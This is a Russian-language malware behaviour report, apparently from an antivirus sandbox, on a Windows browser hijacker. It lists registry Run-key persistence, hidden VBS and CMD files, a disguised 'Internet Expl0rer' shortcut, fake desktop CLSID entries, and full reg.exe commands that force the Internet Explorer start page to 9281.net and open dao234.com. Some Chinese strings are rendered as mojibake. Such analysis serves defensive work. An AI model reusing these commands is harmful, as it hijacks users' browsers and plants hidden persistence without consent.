Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'Default Action' = '%CommonProgramFiles%\LABEL.lnk'
Вредоносные функции
Для затруднения выявления своего присутствия в системе
изменяет следующие системные настройки:
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoInternetIcon' = '00000001'
Запускает на исполнение
- '%ProgramFiles(x86)%\internet explorer\iexplore.exe' http://dao234.com/index2.html?27xz
Без разрешения пользователя устанавливает новую стартовую страницу для Windows Internet Explorer.
Изменения в файловой системе
Создает следующие файлы
- %CommonProgramFiles%\do.vbs
- %CommonProgramFiles%\doit.vbs
- %CommonProgramFiles%\internet expl0rer.lnk
- %CommonProgramFiles%\start.vbs
- %CommonProgramFiles%\system.cmd
- %CommonProgramFiles%\label.lnk
- %HOMEPATH%\application data\microsoft\internet explorer\quick launch\internet expl0rer.lnk
Присваивает атрибут 'скрытый' для следующих файлов
- %CommonProgramFiles%\system.cmd
- %CommonProgramFiles%\doit.vbs
- %CommonProgramFiles%\start.vbs
Удаляет следующие файлы
- %CommonProgramFiles%\do.vbs
Сетевая активность
UDP
- DNS ASK da##34.com
Другое
Ищет следующие окна
- ClassName: 'EDIT' WindowName: ''
- ClassName: 'Static' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Создает и запускает на исполнение
- '%WINDIR%\syswow64\wscript.exe' "%CommonProgramFiles%\do.vbs"
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /C start /min iexplore http://dao234.com/index2.html?27xz (со скрытым окном)
- '%WINDIR%\syswow64\attrib.exe' -r "%HOMEPATH%\Application Data\Microsoft\Internet Explorer\Quick Launch\Internet Explorer.lnk"
- '%WINDIR%\syswow64\attrib.exe' +r -h -s "%HOMEPATH%\Application Data\Microsoft\Internet Explorer\Quick Launch\Internet Expl0rer.lnk"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{00000108-0000-0010-8000-00AA006DCCCC}"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}" /v "InfoTip" /t REG_SZ /d "@shdoclc.dll,-880" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}" /v "LocalizedString" /t REG_SZ /d "@shdoclc.dll,-880" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\DefaultIcon"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\DefaultIcon" /ve /t REG_EXPAND_SZ /d "shdoclc.dll,0" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\InProcServer32"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\InProcServer32" /ve /t REG_SZ /d "<SYSTEM32>\shdocvw.dll" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DFFFF}\InProcServer32"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell" /ve /t REG_SZ /d "┤≥┐В¬╓≈╥│(&H)" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐В¬╓≈╥│(&H)" /v "MUIVerb" /t REG_SZ /d "@shdoclc.dll,-10241" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐В¬╓≈╥│(&H)\Command"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐В¬╓≈╥│(&H)\Command" /ve /t REG_SZ /d "%ProgramFiles%\Internet Explorer\iexplore.exe http://www.9281.net/?sys" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\╩⌠╨╘(&R)"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\╩⌠╨╘(&R)\Command"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\╩⌠╨╘(&R)\Command" /ve /t REG_SZ /d "rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,0" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder" /v "HideFolderVerbs" /t REG_SZ /d "" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder" /v "HideOnDesktopPerUser" /t REG_SZ /d "" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder" /v "WantsParsDisplayName" /t REG_SZ /d "" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Default Action" /t reg_sz /d "%CommonProgramFiles%\LABEL.lnk" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoInternetIcon" /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\attrib.exe' +r -h -s ".\Internet Expl0rer.lnk" "%HOMEPATH%\╫└├Вµ\Internet Expl0rer.lnk"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DFFFF}\ShellFolder" /v "WantsParsDisplayName" /t REG_SZ /d "" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DFFFF}\ShellFolder" /v "HideOnDesktopPerUser" /t REG_SZ /d "" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DFFFF}\ShellFolder" /v "HideFolderVerbs" /t REG_SZ /d "" /f
- '%WINDIR%\syswow64\attrib.exe' +r +h +s ".\system.cmd"
- '%WINDIR%\syswow64\attrib.exe' +r +h +s ".\doit.vbs"
- '%WINDIR%\syswow64\attrib.exe' +r +h +s ".\start.vbs"
- '%WINDIR%\syswow64\attrib.exe' +r "%HOMEPATH%\Г╕┐В¬╩╝Г╣▓╦╡Г‘\│╠╨≥\╞⌠╢В»\LABEL.lnk"
- '%WINDIR%\syswow64\attrib.exe' +r "%ALLUSERSPROFILE%\Г╕┐В¬╩╝Г╣▓╦╡Г‘\│╠╨≥\╞⌠╢В»\LABEL.lnk"
- '%WINDIR%\syswow64\attrib.exe' -r "%HOMEPATH%\Application Data\Microsoft\Internet Explorer\Quick Launch\╞⌠╢В» Internet Explorer ΣВ»└└╞≈.lnk"
- '%WINDIR%\syswow64\attrib.exe' -r "%HOMEPATH%\╫└├Вµ\Internet Explorer.lnk"
- '%WINDIR%\syswow64\attrib.exe' -r "%HOMEPATH%\╫└├Вµ\Internet.lnk"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DFFFF}"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DFFFF}" /v "InfoTip" /t REG_SZ /d "@shdoclc.dll,-880" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DFFFF}" /v "LocalizedString" /t REG_SZ /d "@shdoclc.dll,-880" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DFFFF}\DefaultIcon"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t REG_SZ /d "http://www.9281.net/?new" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐В¬╓≈╥│(&H)"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DFFFF}\DefaultIcon" /ve /t REG_EXPAND_SZ /d "shdoclc.dll,0" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DFFFF}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DFFFF}\shell"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DFFFF}\shell" /ve /t REG_SZ /d "┤≥┐В¬╓≈╥│(&H)" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DFFFF}\shell\┤≥┐В¬╓≈╥│(&H)"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DFFFF}\shell\┤≥┐В¬╓≈╥│(&H)" /v "MUIVerb" /t REG_SZ /d "@shdoclc.dll,-10241" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DFFFF}\shell\┤≥┐В¬╓≈╥│(&H)\Command"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DFFFF}\shell\┤≥┐В¬╓≈╥│(&H)\Command" /ve /t REG_SZ /d "%ProgramFiles%\Internet Explorer\iexplore.exe http://www.9281.net/?sys" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DFFFF}\shell\╩⌠╨╘(&R)"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DFFFF}\shell\╩⌠╨╘(&R)\Command"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DFFFF}\shell\╩⌠╨╘(&R)\Command" /ve /t REG_SZ /d "rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,0" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DFFFF}\ShellFolder"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DFFFF}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\cmd.exe' /C .\system.cmd (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DFFFF}\InProcServer32" /ve /t REG_SZ /d "<SYSTEM32>\shdocvw.dll" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t REG_SZ /d "http://www.9281.net/?new" /f
